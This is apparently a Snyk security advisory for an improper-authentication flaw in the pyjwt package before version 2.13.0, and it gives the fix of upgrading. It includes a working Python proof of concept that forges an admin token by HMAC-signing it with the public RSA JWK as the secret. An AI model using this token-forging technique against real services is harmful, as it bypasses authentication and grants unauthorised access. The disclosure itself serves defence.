Improper Authentication Affecting pyjwt package, versions [,2.13.0)
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Start learning- Snyk IDSNYK-PYTHON-PYJWT-17053408
- published29 May 2026
- disclosed28 May 2026
- creditArad Inbar
Introduced: 28 May 2026
CVE-2026-48526 Â (opens in a new tab)How to fix?
Upgrade pyjwt to version 2.13.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Authentication when decoding JSON Web Tokens. An attacker can forge valid tokens by supplying a public key as the secret for the HMAC algorithm when both asymmetric and HMAC algorithms are supported.
PoC
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'